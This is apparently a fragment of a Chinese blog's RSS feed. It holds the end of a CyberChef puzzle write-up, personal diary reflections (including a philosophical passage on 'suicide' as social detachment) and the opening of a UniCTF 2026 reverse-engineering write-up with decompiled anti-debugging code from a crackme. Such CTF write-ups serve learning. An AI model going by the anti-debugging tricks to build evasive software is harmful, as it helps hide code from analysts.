;#105;&amp;amp;#110;&amp;amp;period;&amp;amp;#99;&amp;amp;#111;&amp;amp;#109;&amp;amp;sol;&amp;amp;#65;&amp;amp;#72;&amp;amp;#71;&amp;amp;#66;&amp;amp;#106;&amp;amp;#70;&amp;amp;#67;&amp;amp;#80;&amp;amp;period;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;文本表现出 &lt;strong&gt;&amp;amp;#xxx;&lt;/strong&gt; 的特征，这是&lt;strong&gt;HTML/XML 数字字符引用的格式特征&lt;/strong&gt;。&lt;/p&gt;&lt;p&gt;改一下后缀名为HTML，用浏览器打开：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Congratulations, you have completed CyberChef challenge #14! This challenge explored TAR files. To learn more, visit wikipedia.org/wiki/Tar_(computing). The code for this challenge is d4cc4310-6b62-4ecb-8b2d-67f98ceb5b6b. The next challenge can be found at https://pastebin.com/AHGBjFCP.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Recipe: From Hex —&amp;gt; Bit shift right 1 —&amp;gt; From Decima ---&amp;gt; Gunzip ---&amp;gt; Unatr&lt;/p&gt;&lt;hr /&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;#15&lt;a href=&quot;#15&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;/section&gt;</content:encoded></item><item><title>无题</title><link>https://kesazake.top/posts/%E9%9A%8F%E7%AC%94/%E6%97%A0%E9%A2%98/</link><guid isPermaLink="true">https://kesazake.top/posts/%E9%9A%8F%E7%AC%94/%E6%97%A0%E9%A2%98/</guid><description>只是一些零碎的思绪</description><pubDate>Sat, 28 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;封面图片：《&lt;a href=&quot;https://www.avogado6.com/diary2025?lightbox=dataItem-mlyrlr3v9&quot; target=&quot;_blank&quot;&gt;Tear&lt;/a&gt;》 | 作者：アボガド6 (Avogado6)&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;只是一些零碎的思绪。&lt;/p&gt;
&lt;br /&gt;
&lt;section&gt;&lt;h2&gt;关于云&lt;a href=&quot;#关于云&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;初三那年，我从同学的手里借了一本小说——《云边有个小卖部》。&lt;/p&gt;&lt;p&gt;那是我读的第一本张嘉佳的小说。&lt;/p&gt;&lt;p&gt;有些人觉得张嘉佳的文字很矫情，很有些无病呻吟，又或者有些其他的看法。&lt;/p&gt;&lt;p&gt;不过我觉得对于作品的解读，本来就是各有各的看法。所谓“有一千个读者，就有一千个哈姆雷特”，不同的人有不同的感受是很正常的吧？&lt;/p&gt;&lt;p&gt;无论如何，我觉得我是很喜欢张嘉佳的文字的。&lt;/p&gt;&lt;p&gt;《云边有个小卖部》我看了很多遍，每一次都忍不住落泪。&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;有朵盛开的云，缓缓滑过山顶，随风飘向天边，我们慢慢明白，有些告别，就是最后一面。&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;这是书中让我感触颇深的文字之一。这之后的许多次，当我再看见云，我总是会有些莫名的感受。&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;一朵云缓缓滑过天边，我想我和它再也不会再见。&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;有一次在傍晚的天空下，我看见一朵云在缓缓的飘动。那是很大很白的一块云，飘得很慢很慢，给我一种宁静的感受。我看着它安静的飘荡，最后离开了我能看见的天空，随后我就想到了上面这句话。&lt;/p&gt;&lt;p&gt;此后很多次，看见云的时候，都会想起上面这句话。&lt;/p&gt;&lt;br /&gt;&lt;p&gt;后来有一天，我和爸爸出门去营业厅办理业务，回来的时候因为信息变动，我的电话卡短时间内不能通信。&lt;/p&gt;&lt;p&gt;我坐在后座上，抬起头来，看见夏日晴天。&lt;/p&gt;&lt;p&gt;白云身后的天空湛蓝，扁平的云像是涂抹的色彩，厚大的云像是点缀的装饰。&lt;/p&gt;&lt;p&gt;风拂过我的耳边，云也飘得那样慢。好像一切都不用着急，好像一切都有转机。&lt;/p&gt;&lt;p&gt;许久之前我得知，轻盈的云其实是无数细小的水滴。&lt;/p&gt;&lt;p&gt;然后在这一刻，我突然想到这么一段话：&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;循环不息的水&lt;/p&gt;&lt;p&gt;会不会我见到的某一朵云&lt;/p&gt;&lt;p&gt;其实是我久别的泪&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img loading=&quot;lazy&quot; width=&quot;2048&quot; height=&quot;1536&quot; src=&quot;/_astro/cloud.c8mWK1zj_oeyJ8.webp&quot; /&gt;&lt;figcaption&gt;cloud&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;hr /&gt;&lt;br /&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;0819&lt;a href=&quot;#0819&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;2025-08-19&lt;/p&gt;&lt;p&gt;这个世界太大太大，遇见什么样的人，经历什么样的事，都不觉得奇怪。&lt;/p&gt;&lt;p&gt;世界吵闹又冷清，&lt;/p&gt;&lt;p&gt;每一秒都有人在相拥，每一秒都有人在诀别。&lt;/p&gt;&lt;p&gt;在那么多看不见的角落里，&lt;/p&gt;&lt;p&gt;有那么多看不见的故事在上演。&lt;/p&gt;&lt;p&gt;谁与谁携手，谁与谁擦肩。&lt;/p&gt;&lt;p&gt;那么多的泪水，只能自己咽。&lt;/p&gt;&lt;br /&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;1208&lt;a href=&quot;#1208&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;2025-12-08  10&amp;lt;47&amp;gt;&lt;/p&gt;&lt;p&gt;上完了雅思课，第二节高数翘掉。回宿舍之前去工学一号交表。&lt;/p&gt;&lt;p&gt;交完表离开的路上经过二楼的休息区。今天的天气不错，我看到玻璃窗户外的阳光很是明媚，还有一些阳光投射进来。空旷的休息区没有人，我看到一张孤零零的椅子。那张椅子看起来有些破旧了，它斜向窗户，而阳光也斜射进来。我在那一刻的某一瞬间感受到了一些说不清道不明的东西，所以我打开相机想要通过拍摄抓住它们。&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img loading=&quot;lazy&quot; width=&quot;3072&quot; height=&quot;4096&quot; src=&quot;/_astro/37659f688ac6f2a2e3adc33010e2b1a2.B_IBAZ-0_2i8ybL.webp&quot; /&gt;&lt;figcaption&gt;一张孤零零的椅子&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;拍的实在一般。我迫切的想要抓住什么，却在伸手的那一刻发现它们无影无踪。&lt;/p&gt;&lt;p&gt;骑自行车回宿舍的路上，我带着耳机。当我骑到自行车道，耳机播放的是Sacred Play Secret Place.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;我很喜欢这首歌，它听起来很宁静。那一刻我好像被一种祥和的气氛包围，感到一种一切都有转机的安心。&lt;/p&gt;&lt;p&gt;我骑在仔自行车道上，车轮碾过一片片枯朽的落叶，发出细微的、清脆的声音。今天的风有点凉，轻柔的吹散我额前的头发，带来一种难以言喻的舒适，就连车道旁绿树的枝叶也在微风中摇曳。&lt;/p&gt;&lt;p&gt;我从一些叫卖着早餐的摊主身后经过，从一些说笑着去向教学楼的同学们身边经过。我听到一声清晰的吆喝“……糯米鸡啦！小笼包啦！……”，我还听到一些模糊的交谈，夹杂着轻笑。这些声音细碎地交织在明媚地阳光下，我莫名地感受到一些踏实，感受到一些生命的鲜活和世界的美好。&lt;/p&gt;&lt;p&gt;我继续向着宿舍骑去，离那些人群越来越远，可那些感受被耳边宁静的旋律带着，轻轻的包围着我，在我身后跟了好久好久……&lt;/p&gt;&lt;hr /&gt;&lt;br /&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;回车不是换行&lt;a href=&quot;#回车不是换行&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;2026年3月31日  22点54分&lt;/p&gt;&lt;p&gt;我今天晚上才知道 ，Typora的回车是换段而不是换行。&lt;/p&gt;&lt;p&gt;Enter是换段：&lt;/p&gt;&lt;p&gt;下面换段了，&lt;/p&gt;&lt;p&gt;上面换段了。&lt;/p&gt;&lt;p&gt;双空格然后Shift + Enter才是换行：&lt;br /&gt;
下面换行了，&lt;br /&gt;
上面换行了。&lt;/p&gt;&lt;br /&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;高三那年&lt;a href=&quot;#高三那年&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;2026年4月6日  02点26分&lt;br /&gt;
半夜刷视频，刷到了一个高三学生的碎碎念。&lt;br /&gt;
看着那个视频，想起自己的高三。&lt;br /&gt;
我在那个视频下评论：&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;真的真的非常非常辛苦啊。&lt;br /&gt;
我是去年参加的高考，考完走出考场的时候，已经有很多同学离开了，剩下一些生物考试的同学们。&lt;br /&gt;
我当时特别恍惚。&lt;br /&gt;
那时候刚好高一高二的同学们也返校了，我收拾好东西，逆着他们慢慢的往门口走。&lt;br /&gt;
夕阳，晚风，行李箱的轮子在马路上滚动。&lt;br /&gt;
我感觉好梦幻，几乎不敢相信结束了，我熬过高三了。&lt;br /&gt;
我走着走着，忽然忍不住跑起来。&lt;br /&gt;
迎着风，一边跑，一边忍不住哭泣。&lt;br /&gt;
…&lt;br /&gt;
不好意思评论了这么多。&lt;br /&gt;
看到你的视频，我想起我的高三，那些煎熬，那些焦虑，那些无法言说的苦楚。&lt;br /&gt;
真的真的非常非常辛苦啊。&lt;br /&gt;
无论如何，我希望你也可以坚持下来，我希望你也可以熬过这些煎熬的时刻，我希望你也可以得偿所愿，取得理想的成绩。&lt;br /&gt;
真的真的。&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;写下这段评论的时候，有些想哭。&lt;/p&gt;&lt;br /&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;“自杀”&lt;a href=&quot;#自杀&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;睡前看到了一篇&lt;a href=&quot;https://x.com/kuruminoko096/status/2044418368896430357&quot; target=&quot;_blank&quot;&gt;朋友的帖子&lt;/a&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;生物（特に人間）である限り集団に帰属するのをやめることなんてできないけど、人間関係全部断ち切って、一人で生きたい。&lt;br /&gt;
ある意味、自殺っていうのは人間社会に対する帰属意識からの解放だよね&lt;br /&gt;
あ、別に私は死ねないので死にません&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;我觉得她思考的角度很有意思。&lt;/p&gt;&lt;p&gt;马克思说”人是社会关系的总和“，那么，”把自己从人类社会中解放“的行为，也就是说，”切断所有社会关系“这一行为，是不是也是一种”自杀“呢。&lt;br /&gt;
作为从社会中诞生的现代人，或许终其一生也无法脱离社会。&lt;br /&gt;
或许这就是所谓的 “在这个世界上，没有一个人是孤岛。”&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;面白い考え方だと思います。&lt;br /&gt;
マルクスは「人間とは社会的关系の総体である」と言いました。&lt;br /&gt;
それならば、「人間社会から自分を解放する」という行為は、一種の「自殺」（社会的な死）と言えるのではないでしょうか。&lt;br /&gt;
社会から逃れられない現代人は、おそらく永遠に孤島にはなれないのかもしれません。&lt;/p&gt;&lt;/blockquote&gt;&lt;/section&gt;</content:encoded></item><item><title>UniCTF2026WP</title><link>https://kesazake.top/posts/ctf/wp/unictf2026wp/</link><guid isPermaLink="true">https://kesazake.top/posts/ctf/wp/unictf2026wp/</guid><description>2026年UniCTF的赛后整理。</description><pubDate>Mon, 02 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;封面图片：《&lt;a href=&quot;https://static.wixstatic.com/media/7ac599_fd27d458172444aeb4b8f26278ab5f90~mv2.jpg/v1/fill/w_539,h_701,al_c,q_85,usm_0.66_1.00_0.01,enc_auto/7ac599_fd27d458172444aeb4b8f26278ab5f90~mv2.jpg&quot; target=&quot;_blank&quot;&gt;オフライン.avif&lt;/a&gt;》 | 作者：アボガド6 (Avogado6)&lt;/p&gt;
&lt;hr /&gt;
&lt;section&gt;&lt;h1&gt;UniCTF 2026 WP&lt;a href=&quot;#unictf-2026-wp&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h1&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img loading=&quot;lazy&quot; width=&quot;1813&quot; height=&quot;925&quot; src=&quot;/_astro/image-20260201215254813.BU-iiHYQ_ZaxWjb.webp&quot; /&gt;&lt;figcaption&gt;UniCTF队伍&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;感觉好难啊……再接再厉吧。&lt;/p&gt;&lt;hr /&gt;&lt;section&gt;&lt;h2&gt;c_polynomial&lt;a href=&quot;#c_polynomial&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;下载附件并解压，得到一个EXE文件。&lt;/p&gt;&lt;p&gt;先运行看看：&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img loading=&quot;lazy&quot; width=&quot;1481&quot; height=&quot;760&quot; src=&quot;/_astro/image-20260201235524878.CpjYaFfX_Z1be3lx.webp&quot; /&gt;&lt;figcaption&gt;程序运行截图&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;看起来似乎要找到特定的9个数字。&lt;/p&gt;&lt;p&gt;用Ghidra反编译试试：&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt; __cdecl .&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;_Argc&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;&lt;span&gt;char&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**&lt;/span&gt;&lt;span&gt;&lt;span&gt;_Argv&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;&lt;span&gt;char&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**&lt;/span&gt;&lt;span&gt;&lt;span&gt;_Env&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;bool&lt;/span&gt;&lt;span&gt; bVar1;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt; iVar2;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;BOOL BVar3;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;FILE &lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt;pFVar4;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;byte local_88 [&lt;/span&gt;&lt;span&gt;26&lt;/span&gt;&lt;span&gt;];&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;undefined1 local_6e [&lt;/span&gt;&lt;span&gt;38&lt;/span&gt;&lt;span&gt;];&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;undefined4 local_48;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;undefined4 local_44;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;undefined4 local_40;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;undefined4 local_3c;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;undefined2 local_38;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;undefined2 local_36;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;undefined2 local_34;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;undefined2 local_32;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;undefined2 local_30;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;undefined1 local_29;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;ulonglong local_28;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;undefined8 &lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt;local_20;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt; local_18;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt; local_14;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;24&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt; local_10;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;25&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt; local_c;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;26&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;27&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;__main&lt;/span&gt;&lt;span&gt;();&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;28&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;feclearexcept&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;3f&lt;/span&gt;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;29&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;iVar2 &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;fetestexcept&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;3&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;30&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; (iVar2 &lt;/span&gt;&lt;span&gt;!=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;) {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;31&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;puts&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;Floating point exceptions are set, possibly being debugged.&quot;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;32&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;/* WARNING: Subroutine does not return */&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;33&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;exit&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;34&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;35&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;BVar3 &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;IsDebuggerPresent&lt;/span&gt;&lt;span&gt;();&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;36&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; (BVar3 &lt;/span&gt;&lt;span&gt;!=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;) {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;37&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;puts&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;This program is being debugged. Exiting!&quot;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;38&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;/* WARNING: Subroutine does not return */&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;39&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;exit&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;40&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;41&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;printf&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;I&lt;/span&gt;&lt;span&gt;\&apos;&lt;/span&gt;&lt;span&gt;m practicing my neuro math skills. Give me nine integers: &quot;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;42&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;scanf&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;%d&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;%d&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;%d&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;%d&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;%d&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;%d&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;%d&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;%d&lt;/span&gt;&lt;span&gt; 